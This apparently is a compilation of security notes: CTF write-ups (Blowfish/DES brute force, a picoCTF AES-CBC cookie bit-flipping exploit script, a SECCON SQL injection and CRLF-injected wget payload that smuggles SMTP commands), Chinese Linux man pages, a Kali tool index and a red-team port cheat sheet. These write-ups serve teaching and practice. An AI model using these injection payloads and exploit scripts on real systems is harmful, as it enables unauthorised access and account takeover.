'AiEjLYxiRUlgG+OYaYje5HOwvS8UFegdXRrCsIiy6pBH67fDvGbLF/gtZihyW7WYVOrsi7/N1sgaVUBU/VW1NwEOrOhguZZfP5T7Gw88sMx9KFepLfsjOLPKKVUuMbVu6Lno0FJjbU+7ft1VtdsQhAh1Lc91SDcduoI3J1FwffwwEwy1L7FKjg14LZ9fgaMF5c43T8avL+bpOBDFHiPzK1Mwv4ftVt6k5UV13cPV3VLm+Jx7Q/7LLamyQLLUU0O1pcKZOHi7oYPngpFh7VmIPIJwCsmoCAyt8+yC/uqNgpfUoD0SHfG7tvz7F8sZKL6RfezLvFN++8B+rs+6AGOiSHCmnGbO4PNcOdZfWP4lYZQRIZ/DTN4ntg==')
data = [(i, cipher) for i in range(10)]
partials = brute(worker_blowfish, data, 10)
candidates = combine(partials)
print(candidates)
for candidate_key, candidate_value in candidates.items():
data = [(i, candidate_value) for i in range(10)]
partials = brute(worker_des, data, 10)
print(combine(partials))
if __name__ == '__main__':
freeze_support()
main()
```
Gdzie brute() jest z naszego crypto-commons i to zwyczajnie:
```python
import multiprocessing
def brute(worker, data_list, processes=8):
"""
Run multiprocess workers
:param worker: worker function
:param data_list: data to distribute between workers, one entry per worker
:param processes: number of parallel processes
:return: list of worker return values
"""
pool = multiprocessing.Pool(processes=processes)
return pool.map(worker, data_list)
```
Z tego dostajemy zdekodowane dane:
```
ZeroNights is a perfect place to discuss new attack methods and threats. It shows ways to attack and defend to its guests, and suggests unorthodox approach to cybersecurity problems solving.
```
|
sec-knowleage
|
# Secure Logon
Web Exploitation, 500 points
## Description:
> Uh oh, the login page is more secure... I think.
```python
from flask import Flask, render_template, request, url_for, redirect, make_response, flash
import json
from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto import Random
from Crypto.Cipher import AES
app = Flask(__name__)
app.secret_key = 'seed removed'
flag_value = 'flag removed'
BLOCK_SIZE = 16 # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
@app.route("/")
def main():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.form['user'] == 'admin':
message = "I'm sorry the admin password is super secure. You're not getting in that way."
category = 'danger'
flash(message, category)
return render_template('index.html')
resp = make_response(redirect("/flag"))
cookie = {}
cookie['password'] = request.form['password']
cookie['username'] = request.form['user']
cookie['admin'] = 0
print(cookie)
cookie_data = json.dumps(cookie, sort_keys=True)
encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
print(encrypted)
resp.set_cookie('cookie', encrypted)
return resp
@app.route('/logout')
def logout():
resp = make_response(redirect("/"))
resp.set_cookie('cookie', '', expires=0)
return resp
@app.route('/flag', methods=['GET'])
def flag():
try:
encrypted = request.cookies['cookie']
except KeyError:
flash("Error: Please log-in again.")
return redirect(url_for('main'))
data = AESCipher(app.secret_key).decrypt(encrypted)
data = json.loads(data)
try:
check = data['admin']
except KeyError:
check = 0
if check == 1:
return render_template('flag.html', value=flag_value)
flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success")
return render_template('not-flag.html', cookie=data)
class AESCipher:
"""
Usage:
c = AESCipher('password').encrypt('message')
m = AESCipher('password').decrypt(c)
Tested under Python 3 and PyCrypto 2.6.1.
"""
def __init__(self, key):
self.key = md5(key.encode('utf8')).hexdigest()
def encrypt(self, raw):
raw = pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(raw))
def decrypt(self, enc):
enc = b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(enc[16:])).decode('utf8')
if __name__ == "__main__":
app.run()
```
## Solution:
The website encrypts the cookie with an unknown key, and an admin cookie is needed in order to view the flag after loggin in.
When we try to login as a regular user (we don't even need a username or password), we see:
```
Success: You logged in! Not sure you'll be able to see the flag though.
No flag for you
Cookie: {'admin': 0, 'username': '', 'password': ''}
```
We need to alter the cookie and set "admin=1" in order to view the flag.
This can be done using an attack called "[Bit Flipping](https://en.wikipedia.org/wiki/Bit-flipping_attack). AES encryption is performed on blocks. Assume we can identify the exact location of the byte we want to modify (the "0" of "admin=0") at offset x. We can then modify the byte at x - BLOCK_SIZE (i.e. the byte in the previous block that has the same offset within a block) and control the value of the byte we want to change. This is needed since in AES-CBC, every block is not only decrypted using the key, but also XORed with the ciphertext from the previous block, making every plaintext block dependent on both the current and the previous ciphertext block.
Obviously, this comes with a price - we will corrupt other parts of the plaintext. However, if they don't contain any important information, the exploit will work. More about this can be found [here](https://blog.gdssecurity.com/labs/2010/10/6/crypto-challenges-at-the-csaw-2010-application-ctf-qualifyin.html).
How do we control the value we want to set? Well, in our example, given offset x, we know that when decrypting the ciphertext, we will get a "0" after performing:
```
byte_at_offset_x ^ byte_at_offset_x-16 ^ appropriate_key_byte
```
We don't know what the appropriate key byte is since the key is secret, but we know what everything else is.
So we replace (byte_at_offset_x-16) with (byte_at_offset_x-16 ^ "0" ^ "1"):
```
byte_at_offset_x ^ byte_at_offset_x-16 ^ appropriate_key_byte = "0"
byte_at_offset_x ^ (byte_at_offset_x-16 ^ "0" ^ "1") ^ appropriate_key_byte =
byte_at_offset_x ^ byte_at_offset_x-16 ^ appropriate_key_byte ^ "0" ^ "1" =
"0" ^ "0" ^ "1" =
"1"
```
### Solving with dedicated script
The following script will solve the challenge:
```python
from pwn import *
import requests
import json
import base64
BASE_URL = "http://2018shell3.picoctf.com:13747"
AES_BLOCK_SIZE = 16
my_cookie = {}
my_cookie['password'] = "password12"
my_cookie['username'] = "username12"
my_cookie['admin'] = 0
log.info("My cookie: {}".format(my_cookie))
my_json_cookie = json.dumps(my_cookie, sort_keys=True) #Formatted like the server would
log.info("My sorted JSON cookie: {}".format(my_json_cookie))
s = requests.Session()
r = s.post(BASE_URL + "/login", data = {"user": my_cookie["username"], "password": my_cookie["password"]})
log.info("Server cookie - raw: {}".format(s.cookies['cookie']))
server_cookie_decoded = base64.b64decode(s.cookies['cookie'])
log.info("Server cookie - decoded: {}".format(enhex (server_cookie_decoded)))
my_json_cookie_with_dummy_iv = ("A" * AES_BLOCK_SIZE) + my_json_cookie
offset_of_byte_to_control = my_json_cookie_with_dummy_iv.find('0')
log.info("Offset of byte to control: {}".format(offset_of_byte_to_control))
offset_of_byte_to_flip = offset_of_byte_to_control - AES_BLOCK_SIZE #Flip byte in previous block
log.info("Offset of byte to flip: {}".format(offset_of_byte_to_flip))
server_cookie_decoded_copy = bytearray(server_cookie_decoded)
flip_value = server_cookie_decoded_copy[offset_of_byte_to_flip] ^ ord("0") ^ ord("1")
log.info("Flipping 0x{:02X} to 0x{:02X} at offset {}".format(server_cookie_decoded_copy[offset_of_byte_to_flip], flip_value, offset_of_byte_to_flip))
server_cookie_decoded_copy[offset_of_byte_to_flip] = flip_value
log.info("Server cookie - after flip: {}".format(enhex (str(server_cookie_decoded_copy))))
server_cookie_encoded_copy = base64.b64encode(server_cookie_decoded_copy).decode("utf-8")
s.cookies.set('cookie', None) # Needed in order to delete previous cookie
s.cookies.set('cookie', server_cookie_encoded_copy )
r = s.get(BASE_URL + "/flag")
for line in r.text.split("\n"):
if "picoCTF{" in line:
print line
```
Output:
```console
root@kali:/media/sf_CTFs/pico/Secure_Logon# python exploit.py
[*] My cookie: {'username': 'username12', 'admin': 0, 'password': 'password12'}
[*] My sorted JSON cookie: {"admin": 0, "password": "password12", "username": "username12"}
[*] Server cookie - raw: mCayHc6FRKrlwasUv9sUyXa139kAvaHRLJrnu4M48++aXPJg1SC/yKCcC59HZObWvBFg8k4LyapaBJkI68Txu94ybuXphGMHxdRwnzpr3SecGWa6OdZq82hM/3DkQ3Su
[*] Server cookie - decoded: 9826b21dce8544aae5c1ab14bfdb14c976b5dfd900bda1d12c9ae7bb8338f3ef9a5cf260d520bfc8a09c0b9f4764e6d6bc1160f24e0bc9aa5a049908ebc4f1bbde326ee5e9846307c5d4709f3a6bdd279c1966ba39d66af3684cff70e44374ae
[*] Offset of byte to control: 26
[*] Offset of byte to flip: 10
[*] Flipping 0xAB to 0xAA at offset 10
[*] Server cookie - after flip: 9826b21dce8544aae5c1aa14bfdb14c976b5dfd900bda1d12c9ae7bb8338f3ef9a5cf260d520bfc8a09c0b9f4764e6d6bc1160f24e0bc9aa5a049908ebc4f1bbde326ee5e9846307c5d4709f3a6bdd279c1966ba39d66af3684cff70e44374ae
<p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{fl1p_4ll_th3_bit3_7d7c2296}</code></p>
```
### Solving with BURP suite
It's also possible to brute-force the cookie with BURP suite to get the flag.
Open BURP suite and select the "Intruder" tab.
In the "Target" tab, enter the details of the server:

In the "Positions" tab, enter the GET request format, together with the original cookie, and mark the cookie as the payload:

In the "Payloads" tab, select the "Bit flipper" attack:

In the "Options" tab, add grep rules for matching and extraction:

Launch the attack and after a short while, it will flip the correct byte to provide the flag:

|
sec-knowleage
|
## 嗅探欺骗模块
|sniffing&spoofing||||||
|:-:|:-:|:-:|:-:|:-:|:-:|
|[Burp Suite](Burp%20Suite.md)|[DNSChef](DNSChef.md)|[fiked](Fiked.md)|[hamster-sidejack](hamster-sidejack.md)|[Hexlnject](HexInject.md)|iaxflood|
|iSMTP|isr-evilgrade|mitmproxy|ohrwurm|protos-sip|rebind|
|responder|rtpbreak|rtpinsertsound|rtpmixsound|sctpscan|SIPArmyKnife|
|SIPp|SIPVicious|Sniffjoke|SSLplit|sslstrip|THC-IPV6|
|VoIPHopper|WebScarab|Wifi Honey|Wireshark|xspy||
|Yersinia|zaproxy|||||
|
sec-knowleage
|
'\" t
.TH "VCONSOLE\&.CONF" "5" "" "systemd 231" "vconsole.conf"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
vconsole.conf \- 虚拟控制台配置文件
.SH "SYNOPSIS"
.PP
/etc/vconsole\&.conf
.SH "描述"
.PP
/etc/vconsole\&.conf
文件被
\fBsystemd-vconsole-setup.service\fR(8)
用于配置虚拟控制台的 键盘映射与字体。
.PP
vconsole\&.conf
文件的基本格式是一系列换行符分隔的 VAR=VALUE 行(每行一个变量), 可以直接嵌入到 shell 脚本中使用。 注意,此文件并不支持变量替换之类的任何高级 shell 特性, 以便于应用程序无须支持这些高级 shell 特性 即可直接使用此文件。
.PP
注意,内核引导选项
\fIvconsole\&.keymap=\fR,
\fIvconsole\&.keymap\&.toggle=\fR,
\fIvconsole\&.font=\fR,
\fIvconsole\&.font\&.map=\fR,
\fIvconsole\&.font\&.unimap=\fR
可以覆盖此文件中的设置。
.PP
在某些发行版上,如果该文件不存在,可能还会到其他位置去寻找。 这取决于个别发行版自己的设置。 [译者注]目前的Linux内核并不支持\m[blue]\fB中文控制台\fR\m[]\&\s-2\u[1]\d\s+2,除非你使用了\m[blue]\fBCJKTTY\fR\m[]\&\s-2\u[2]\d\s+2补丁。
.SH "选项"
.PP
能够识别的命令行选项如下:
.PP
\fIKEYMAP=\fR, \fIKEYMAP_TOGGLE=\fR
.RS 4
配置键盘映射表。
\fIKEYMAP=\fR
的默认值是
"us"
(此默认值也适合于中文控制台)。
\fIKEYMAP_TOGGLE=\fR
用于配置第二切换键盘映射表, 其默认值是空(也就是未定义)。
.RE
.PP
\fIFONT=\fR, \fIFONT_MAP=\fR, \fIFONT_UNIMAP=\fR
.RS 4
配置控制台字体、控制台字体映射、 控制台Unicode字体映射。
.RE
.SH "例子"
.PP
\fBExample\ \&1.\ \&德文键盘与控制台\fR
.PP
/etc/vconsole\&.conf:
.sp
.if n \{\
.RS 4
.\}
.nf
KEYMAP=de\-latin1
FONT=eurlatgr
.fi
.if n \{\
.RE
.\}
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemd-vconsole-setup.service\fR(8),
\fBloadkeys\fR(1),
\fBsetfont\fR(8),
\fBlocale.conf\fR(5),
\fBsystemd-localed.service\fR(8)
.SH "NOTES"
.IP " 1." 4
中文控制台
.RS 4
\%http://www.ibm.com/developerworks/cn/linux/l-cn-termi-hanzi/
.RE
.IP " 2." 4
CJKTTY
.RS 4
\%https://github.com/Gentoo-zh/linux-cjktty
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
dirname
===
去除文件名中的非目录部分
## 补充说明
**dirname命令** 去除文件名中的非目录部分,仅显示与目录有关的内容。dirname命令读取指定路径名保留最后一个`/`及其后面的字符,删除其他部分,并写结果到标准输出。如果最后一个`/`后无字符,dirname 命令使用倒数第二个`/`,并忽略其后的所有字符。dirname 和 basename 通常在 shell 内部命令替换使用,以指定一个与指定输入文件名略有差异的输出文件名。
### 语法
```shell
dirname(选项)(参数)
```
### 选项
```shell
--help:显示帮助;
--version:显示版本号。
```
### 实例
```shell
dirname //
结果为 /
dirname /a/b/
结果为:/a
dirname a
结果为 .
dirname a/b
结果为路径名 a
```
|
sec-knowleage
|
ipcalc
===
简单的IP地址计算器
## 补充说明
**ipcalc命令** 是一个简单的ip地址计算器,可以完成简单的IP地址计算任务。
### 语法
```shell
ipcalc(选项)
```
### 选项
```shell
-b:由给定的IP地址和网络掩码计算出广播地址;
-h:显示给定UP地址所对应的主机名;
-m:由给定的IP地址计算器网络掩码;
-p:显示给定的掩码或IP地址的前缀;
-n:由给定的IP地址和网络掩码计算网络地址;
-s:安静模式;
--help:显示帮助信息。
```
### 实例
```shell
[root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0
PREFIX=24
[root@localhost ~]# ipcalc -n 192.168.2.1 255.255.255.0
NETWORK=192.168.2.0
[root@localhost ~]# ipcalc -h 127.0.0.1
hostname=localhost.localdomain
[root@localhost ~]# ipcalc -m 192.168.2.1
NETMASK=255.255.255.0
[root@localhost ~]# ipcalc -pnbm 192.168.2.1 255.255.255.0
NETMASK=255.255.255.0
PREFIX=24
BROADCAST=192.168.2.255
NETWORK=192.168.2.0
```
|
sec-knowleage
|
.\" %%%LICENSE_START(GPLv2+_DOC_FULL)
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" The GNU General Public License's references to "object code"
.\" and "executables" are to be interpreted as the output of any
.\" document formatting or typesetting system, including
.\" intermediate and printed output.
.\"
.\" This manual is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public
.\" License along with this manual; if not, see
.\" <http://www.gnu.org/licenses/>.
.\" %%%LICENSE_END
.\"
.\" 2007-12-14 mtk Added Reiserfs, XFS, JFS.
.\"
.\" manpages-zh translator: Boyuan Yang <073plan@gmail.com>
.TH FILESYSTEMS 5 2016-12-12 "Linux" "Linux 程序员手册"
.nh
.SH 名称
文件系统 \- Linux 支持的文件系统类型:ext, ext2, ext3, ext4, hpfs, iso9660,
JFS, minix, msdos, ncpfs, nfs, ntfs, proc, Reiserfs, smb, sysv, umsdos, vfat,
XFS, xiafs
.SH 描述
通常情况下,
.B proc
文件系统被挂载在
.IR /proc
目录下,您可以在
.I /proc/filesystems
文件中找到当前内核支持的文件系统类型;请参考
.BR proc (5)
了解详细信息。
如果您需要使用一个当前所不支持的文件系统类型,您需要插入相应的内核模块或重新编译内核。
如需使用某个文件系统,您必须先
.I 挂载(mount)
它;详情请参考
.BR mount (8)
。
下面是对 Linux 内核支持或曾经支持的各种文件系统的简要描述。
请查阅内核文档以获取所有选项和限制的详细描述。
.TP 10
.B ext
是对
.B minix
文件系统的精心设计的扩展。
它已经完全被扩展文件系统的第二版
.RB (ext2)
所淘汰并已在内核 2.1.21 版及后续版本中移除。
.TP
.B ext2
是高性能的文件系统,被 Linux 系统同时应用于固定磁盘和可移动(装卸)介质上。
第二版扩展文件系统被设计为扩展文件系统
.RB (ext)
的扩展。详情请见
.BR ext2 (5)
。
.TP
.B ext3
是
.B ext2
文件系统启用日志的版本。
您可以在
.B ext2
和
.B ext3
之间轻松地来回切换。
详情请见
.BR ext3 (5)
。
.TP
.B ext4
是
.B ext3
的升级版,包含一系列重要的性能和可靠性改进,并大大提升了文件系统中卷、文件、目录的最大尺寸。
详情请见
.BR ext4 (5)
。
.TP
.B hpfs
是 OS/2 使用的高性能文件系统。由于缺乏可用的文档,
在 Linux 下这种文件系统是只读的。
.TP
.B iso9660
是满足 ISO 9660 标准的 CD-ROM 文件系统类型。
.RS
.TP
.B "High Sierra"
Linux 支持 High Sierra,它是 ISO 9660 标准的
CD-ROM 文件系统的先驱。在 Linux 下支持的
.B iso9660
文件系统内,它被自动识别。
.TP
.B "Rock Ridge"
Linux 也支持使用由 Rock Ridge 交换协议定义的系统使用共享协议记录(System Use Sharing Protocol)。
它们被用于进一步为一个 UNIX 主机描述
.B iso9660
文件系统中的文件,
并且提供类似长文件名、UID/GID、POSIX 权限和设备等等信息。
在 Linux 下支持的
.B iso9660
文件系统内,它被自动识别。
.RE
.TP
.B JFS
是一个日志文件系统,由 IBM 开发,从内核 2.4.24 版开始被集成进 Linux。
.TP
.B minix
是在 Minix 操作系统中使用的文件系统,是 Linux 第一个支持的文件系统。
它有一些不足之处,例如 64MB 的分区尺寸限制、短文件名以及单一的时间戳。
它对于软盘和内存盘仍然有存在意义。
.TP
.B msdos
是 DOS、Windows、和一些 OS/2 计算机使用的文件系统。
.B msdos
文件系统的文件名不长于 8 个字符并跟随着可选的英文句号“.”和 3 个字符的扩展名。
.TP
.B ncpfs
是支持 NCP 协议的网络文件系统,被 Novell NetWare 使用。
.sp
要使用
.BR ncpfs
,您需要一个特殊的程序,这个程序可在下面网址下栽:
.IR ftp://linux01.gwdg.de/pub/ncpfs
。
.TP
.B nfs
是用于访问位于远程计算机上的磁盘的网络文件系统。
.TP
.B ntfs
取代微软 Windows 操作系统的 FAT 文件系统(VFAT,FAT32)。
它具有使用可靠、性能好、磁盘空间使用率高的优势,而且提供 ACL 支持、日志、加密等等功能。
.TP
.B proc
是一种伪文件系统,被用来作为内核数据结构的接口,这样就不用读取、解释
.IR /dev/kmem
了。特别的是,它的文件不占用磁盘空间。详情请见
.BR proc (5)
。
.TP
.B Reiserfs
是一个日志文件系统,由 Hans Reiser 设计,
从内核 2.4.1 版开始集成进 Linux。
.TP
.B smb
是支持 smb 协议的网络文件系统,被 Windows for
Workgroups、Windows NT 和 Lan Manager 使用。
.sp
要使用
.B smb
文件系统,你需要一个特殊的 mount 程序,
这个程序可在 ksmbfs 包中找到,也可从下面网址下载:
.IR ftp://sunsite.unc.edu/pub/Linux/system/Filesystems/smbfs.
.TP
.B sysv
Linux 上的 SystemV/Coherent 文件系统实现。它实现了
Xenix FS、SystemV/386 FS 和 Coherent FS 的全部内容。
.TP
.B umsdos
是 Linux 使用的扩展 DOS 文件系统。它在 DOS
文件系统下增加了长文件名、UID/GID、POSIX 权限和特殊文件
(设备、命名管道等)功能,而不牺牲对 DOS 的兼容性。
.TP
.B vfat
是 Microsoft Windows95 和 Windows NT 使用的扩展了的
DOS 文件系统。
.B vfat
在 MSDOS 文件系统下增加了长文件名功能。
.TP
.B XFS
是一个日志文件系统,由 SGI 设计,从内核 2.4.20 版开始集成进内核。
.TP
.B xiafs
的目标是通过扩展 Minix 文件系统的代码,设计并实现稳定和安全的文件系统。
它提供了最基本的要求的功能而且不会过于复杂。
.B xiafs
文件系统已经不再有活跃的开发或维护。它已从内核 2.1.21 版及之后版本中被移除。
.SH "参见"
.BR fuse(4),
.BR ext2(5),
.BR ext3 (5),
.BR ext4 (5),
.BR proc (5),
.BR fsck (8),
.BR mkfs (8),
.BR mount (8)
.SH "跋"
本页面原英文版是 Linux
.I man-pages
项目 4.09 版的一部分。
如需了解这个项目的描述、汇报漏洞的相关信息及本页面的最新版本,
请访问
\%https://www.kernel.org/doc/man\-pages/.
|
sec-knowleage
|
# SqlSRF (Web, 400p)
```
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.
```
In the task initially we get access to a login screen and [source code of the index page](index.pl]).
First goal is to somehow login into the system.
In the sources we can see:
```perl
if($q->param('login') ne '') {
use DBI;
my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
$errmsg = '<h2 style="color:red">Login Error!</h2>';
eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
$s->param('autheduser', $q->param('user'));
print "<scr"."ipt>document.location='./menu.cgi';</script>";
$errmsg = '';
}
}
};
if($@) {
$errmsg = '<h2 style="color:red">Database Error!</h2>';
}
$dbh->disconnect();
```
There is a clear SQLInjection in the query which is supposed to retrieve the password for given user from the database.
The password is then compared with `&encrypt($q->param('pass'))`.
We can easily inject any password simply by providing username `whateve' union select 'OUR_PASSWORD` but we need to know the encrypted form of `OUR_PASSWORD` for this to work.
Fortunately we can see in the code also:
```perl
my $user = $q->param('user');
//
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
```
If we put username and select "remember me" checkbox, the system will automatically create the cookie with encrypted username.
We can then first put `OUR_PASSWORD` as username, select "remember me", click login and retrieve the encrypted string from the cookie.
Once we manage to login into th system it turns out it's no good because as non-admin user we can only use `netstat` command and we can't use `wget`:

Netstat at least shows that there is SMTP server running there, and the task description says we need to use it to send email to root.
It seems we actually need to login as admin, because right now the system remembers exactly what username we put, and we're logged in as `whateve' union select ...` and not as `admin`.
First step is to retrieve the admin password from database.
This we can do via Blind SQLInjection in the login screen.
We can't get any echo from the database but we can either login or not login, and we can use this as boolean oracle.
So we can do injection in the form `whatever' union select 'OUR_ENCRYPTED_PASSWORD' where (CONDITION) and '1'='1`.
The `CONDITION` here is simply a check on the characters of admin password.
After a moment we get back: `d2f37e101c0e76bcc90b5634a5510f64`.
Now we need to decrypt this password.
It turns out there is an interesting code on the page:
```perl
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
//
$user = $q->escapeHTML($user);
//
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
```
The page actually takes encrypted string from `remember` cookie, decrypts and puts in the `login` field of the form.
It means we can simply place the recovered password in the cookie, and the page will decrypt it for us.
This way we learn that admin password is `Yes!Kusomon!!`.
Now we're back in the system, this time as admin, and we can run `wget`.
Sadly we can't really change neither of the commands and no command injection tricks work, we can only use what is provided.
We have to use `wget` to send an email!
SMTP and FTP servers are often very permissive when it comes to accepting commands.
They simply ignore incorrect commands and execute correct ones.
What `wget` sends to the designated host is:
```
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: 127.0.0.1
Connection: Keep-Alive
```
And SMTP server will simply claim that those are all incorrect commands.
We've noticed that `wget` version was outdated, so maybe there is some vulnerability we could use.
Some googling brought us to https://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html and this was exactly what we needed.
It turns out we can use newlines and line feeds to modify `Host` header and append additional elements there.
We need to add:
```
HELO 127.0.0.1
MAIL FROM:<shalom@p4.team>
RCPT TO:<root@ymzk01.pwn>
DATA
From: shalom@p4.team
To: root@ymzk01.pwn
Subject: give me flag
.
QUIT
```
So we prepared the payload (with percent escapes):
```
127.0.0.1%0d%0aTest%3a %0aHELO 127.0.0.1%0aMAIL FROM%3a%3cshalom%40p4.team%3e%0aRCPT TO%3a%3croot%40ymzk01.pwn%3e%0aDATA%0aFrom%3a shalom%40p4.team%0aTo%3a root%40ymzk01.pwn%0aSubject%3a give me flag%0d%0a.%0d%0a%0aQUIT%0a:25
```
And we got:

And right after that we've received the flag, encrypted again with the same encryption as passwords.
So we used the remember cookie trick again and finally recovered the flag: `SECCON{SSRFisMyFriend!}`
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH FALSE 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
false \- (失败地)什么都不做
.SH 概述
\fBfalse\fP [\fI\,忽略命令行参数\/\fP]
.br
\fBfalse\fP \fI\,选项\/\fP
.SH 描述
.\" Add any additional description here
.PP
以表示失败的状态值退出。
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
注意:您的 shell 可能内置了自己的 false 程序版本,它会覆盖这里所提及的相应版本。请查阅您的 shell 文档获知它所支持的选项。
.SH 作者
由 Jim Meyering 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/false>
.br
或者在本地使用: info \(aq(coreutils) false invocation\(aq
|
sec-knowleage
|
# LDAP
---
常用缩写词
- DN:Distinguished Name
- CN:Common Name
- OU:Organizational Unit
- DC:Domain Component
- ACE:Access Control Entries
- ACL:Access Control List
LDAP 连接服务器的连接字串格式为:ldap://servername/DN
其中 DN 有三个属性,分别是 CN、OU 和 DC
|
sec-knowleage
|
# 重要端口与服务
转载自:[Awesome-Redteam - 重要端口及服务](https://github.com/Threekiii/Awesome-Redteam/blob/master/cheatsheets/%E9%87%8D%E8%A6%81%E7%AB%AF%E5%8F%A3%E5%8F%8A%E6%9C%8D%E5%8A%A1%E9%80%9F%E6%9F%A5.md)
## 目录
[TOC]
## 薄弱端口服务
| port | service | description |
| --------------------- | --------------------- | ------------------------------------------------- |
| 21 | FTP | FTP控制端口,检查匿名登录、弱口令 |
| 22 | SSH | SSH远程登录协议,检查弱口令 |
| 23 | Telnet | Telnet终端仿真协议 |
| 25 | SMTP | 简单邮件传输协议 |
| 53 | DNS | DNS域名解析系统 |
| 67/68 | DHCP | 劫持/欺骗 |
| 80 | Web | 检查常见Web漏洞及管理后台 |
| 81 | IPCam | 检查登陆绕过、远程命令执行 |
| 110 | POP3 | 邮局协议 |
| 111 | NFS | 网络文件系统 |
| 139 | Samba服务 | 检查爆破、未授权访问、远程命令执行 |
| 143 | IMAP协议 | 检查爆破 |
| 161/162 | SNMP协议 | 爆破/搜集目标内网信息 |
| 389 | LDAP | 轻型目录访问协议,检查是否存在匿名访问 |
| 443 | OpenSSL | 检查心脏滴血及Web漏洞 |
| 445 | SMB | 检查是否存在MS17-010、MS08-067漏洞 |
| 512/513/514 | Linux Rexec服务 | 检查远程shell命令及暴力破解 |
| 873 | Rsync | 检查匿名登录、弱口令 |
| 1080 | Socks5 | 检查爆破 |
| 1433 | SQL Server | SQL Server数据库服务 |
| 1521 | Oracle | Oracle数据库服务 |
| 2049 | NFS | NFS未授权访问 |
| 2601/2604 | Zebra路由软件 | 默认口令zebra |
| 2181 | Zookeeper | 分布式协调系统 |
| 2375 | Docker Remote | API未授权访问 |
| 3306 | MySQL | MySQL数据库服务 |
| 3128/3312 | Squid | 远程代码执行 |
| 3389 | RDP | 远程桌面 |
| 4848 | GlassFish | 未授权访问 |
| 5000 | Sybase/DB2数据库 | 爆破/注入/提权 |
| 5044 | Logstash | |
| 5432 | PostgreSQL | PostgreSQL数据库服务 |
| 5601 | Kibana | 开源分析及可视化平台 |
| 5672 | RabbitMQ | 开源消息队列服务软件 |
| 5900 | VNC | 远程桌面控制软件,检查弱口令 |
| 5984 | CouchDB | CouchDB数据库服务 |
| 6082 | Varnish | Varnish HTTP accelerator CLI未授权访问 |
| 6379 | Redis | 未授权访问/爆破 |
| 7001/7002 | Weblogic | Weblogic Console默认端口 |
| 8000 | Jboss | 弱口令/反序列化 |
| 8000-9090 | Web | 常见Web端口,运维一般将管理后台开在这些非80端口上 |
| 8009 | Tomcat-AJP协议 | CVE-2020-1938 |
| 8080 | Jenkins | |
| 8080 | Kubernetes Api Server | |
| 8081 | Apache-Flink | |
| 8082 | H2 Database | 弱口令/未授权访问/写文件 |
| 8083/8086 | InfluxDB | 未授权访问 |
| 8089 | Druid | |
| 8090 | Confluence | |
| 8095 | Atlassian Crowd | |
| 8161 | ActiveMQ | 弱口令/写文件 |
| 8649 | Ganglia | 信息泄露 |
| 8888 | Jupyter Notebook | |
| 8983 | Solr | |
| 9000 | Fast-CGI | 对外访问可直接Get shell |
| 9060 | Websephere | 管理端口 |
| 9092 | Kafka | 开源流处理平台 |
| 9090 | WebSphere控制台/用友 | 爆破/Java反序列化/若楼龄 |
| 9200/9300 | Elasticsearch | 远程代码执行/未授权访问 |
